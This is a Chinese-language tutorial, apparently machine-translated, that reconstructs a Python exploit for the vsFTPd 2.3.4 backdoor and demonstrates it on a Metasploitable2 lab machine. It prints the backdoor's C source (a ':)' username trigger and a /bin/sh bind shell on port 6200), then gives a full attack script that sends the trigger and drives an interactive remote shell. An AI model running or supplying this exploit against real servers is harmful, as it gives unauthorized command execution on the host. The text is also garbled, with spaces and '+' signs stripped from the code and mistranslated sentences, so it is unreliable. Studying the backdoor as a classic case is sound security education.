首页 未命名正文

在Python中重构vsFTPd后门漏洞

一、前言

大家好,首先,本文的目的不是分析vsFTPd最近喜欢用漏洞写后门漏洞。exploit在本文中,我们将重用编程语言Python逐步编写漏洞的使用程序,主要是触发后门并连接shell。首先,让我们了解漏洞是如何触发的。

二、剖析vsFTPd后门漏洞

这个漏洞很旧,但它应该作为练习技术的一个例子。这是非常经典的。这个洞就像它的名字一样。我不知道程序员是故意留下的还是黑客植入的。首先,让我们下载源代码。

在str.c在源代码中,我们发现了一行可疑代码:

  • elseif((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i 1]==0x29))
  • {
  • vsf_sysutil_extra();
  • }
  • 0x3a和0×29它是16进制编码。我们将其转换为10进制,然后将其转换为字符:和)。从上述代码中很容易看出,只要我们输入的用户名字符串中的一个字符是:,下一个字符是),函数就可以执行vsf_sysutil_extra()。

    在sysdeputil.c在源代码中,我们找到了它vsf_sysutil_extra()函数:

  • intvsf_sysutil_extra(void)
  • {
  • intfd,rfd;
  • structsockaddr_insa;
  • if((fd=socket(AF_INET,SOCK_STREAM,0))<0)
  • exit(1);
  • memset(&sa,0,sizeof(sa));
  • sa.sin_family=AF_INET;
  • sa.sin_port=htons(6200);
  • sa.sin_addr.s_addr=INADDR_ANY;
  • if((bind(fd,(structsockaddr*)&sa,
  • sizeof(structsockaddr)))<0)exit(1);
  • if((listen(fd,100))==-1)exit(1);
  • for(;;)
  • {
  • rfd=accept(fd,0,0);
  • close(0);close(1);close(2);
  • dup2(rfd,0);dup2(rfd,1);dup2(rfd,2);
  • execl("/bin/sh","sh",(char*)0);
  • }
  • }
  • 可以发现这是一段shell,绑定端口是6200.

    三、重构vsFTPd后门漏洞exploit

    我们已经学会了如何触发它vsFTPd后门漏洞现在正式开始编写漏洞exploit首先,我们首先介绍我们需要的模块:

  • importsys
  • importsocket
  • importthreading
  • importtime
  • sys我们用模块接收命令行参数,socket模块用于触发漏洞,threading模块用来处理shell,time延迟模块shell交互。

    现在我们已经引入了模块,接下来我们将处理命令行参数。

  • iflen(sys.argv)==3:
  • pass
  • else:
  • print"Use:./vsftpexploit.py[targetIP][targetPort]"
  • sys.exit(1)
  • target=sys.argv[1]
  • port=sys.argv[2]
  • print"[ ]targetIP:" target
  • print"[ ]targetPort:" port
  • 从命令行接收两个参数IP和目标端口。首先判断用户是否正确输入参数,并成功打印目标IP和端口号。

    1.png

    现在我们已经接收了所需的参数,接下来我们需要触发漏洞。在这里,我们将触发函数命名为exploit:

  • defexploit():
  • exploit_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  • try:
  • exploit_socket.connect((target,int(port)))
  • exceptException:
  • print"Cannotattacktarget"
  • sys.exit(1)
  • print"[ ]Attacktarget..."
  • banner=exploit_socket.recv(1024)
  • printbanner
  • 这里我们主要先来拿banner,确定服务器FTP服务是不是vsFTPd 2.3.4。

    确定服务器FTP服务是vsFTPd 2.3.4之后,让我们触发漏洞:

  • if"vsFTPd2.3.4"inbanner:
  • exploit_socket.send("USERhello:)\n")
  • exploit_socket.recv(1024)
  • exploit_socket.send("PASSHELLO\n")
  • exploit_socket.close()
  • print"[ ]Attackwassuccessful"
  • return
  • else:
  • print"[!]FTPserviceisnotvsFTPd2.3.4"
  • sys.exit(1)
  • 在触发漏洞后,我们还需要连接到它来操作。首先,我们创建了一个函数处理线程。

  • defcont_shell(sock,status):
  • sock.settimeout(3)
  • whilestatus==True:
  • try:
  • printsock.recv(1024).strip()
  • exceptsocket.timeout:
  • pass
  • exceptException:
  • return
  • ***我们将编写一个调用的综合函数exploit触发漏洞后操作函数shell。

  • defhack():
  • exploit()
  • shell_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  • shell_status=True
  • try:
  • shell_socket.connect((target,6200))
  • exceptException:
  • print"[!]CannotconnectShell"
  • sys.exit(1)
  • shell_recv_thread=threading.Thread(target=cont_shell,args=(shell_socket,shell_status))
  • shell_recv_thread.start()
  • print"[ ]Theconnectionshelliscomplete"
  • while1:
  • command=raw_input()
  • ifcommand=='exit':
  • shell_status=False
  • shell_socket.close()
  • shell_recv_thread.join()
  • sys.exit(0)
  • shell_socket.send(command '\n')
  • 很简单,首先我们调用了exploit()函数触发漏洞,然后我们创建了一个名称shell_socket套接字连接shell。shell_status表示状态主要是为了防止冲突。然后使用线程来处理和处理shell的交互了,***使用循环发送命令,并将命令作为命令exit时退出。

    四、剧本演示

    我们的exploit写作已经完成,现在我们实际操作,测试我们exploit是否可用。我们先用。nmap探测服务器FTP服务版。

  • nmap-sV-p21192.168.242.129
  • 结果:

    在目标服务器上可以找到FTP服务是vsFTPd 2.3.4,用我们的exploit脚本:

    成功利用

    五、总结

    在编写exploit在这个过程中,我犯了一个小错误错误TAB制表符,不能再用四个空间代表制表符对齐,新的Python语法不支持代码对齐中的混合TAB和空。我直接用了文中的靶机。metasploitable2。如果你感兴趣,你可以试着自己重写。

    六、参考资料

    1、https://www.exploit-db.com/exploits/17491/

    2、https://0x00sec.org/t/re-building-a-vsftpd-backdoor-exploit-in-python/159

    3、http://pastebin.com/AetT9sS5

    4、http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

       
    版权声明

    本文仅代表作者观点,不代表本站立场。
    本文系作者授权发表,未经许可,不得转载。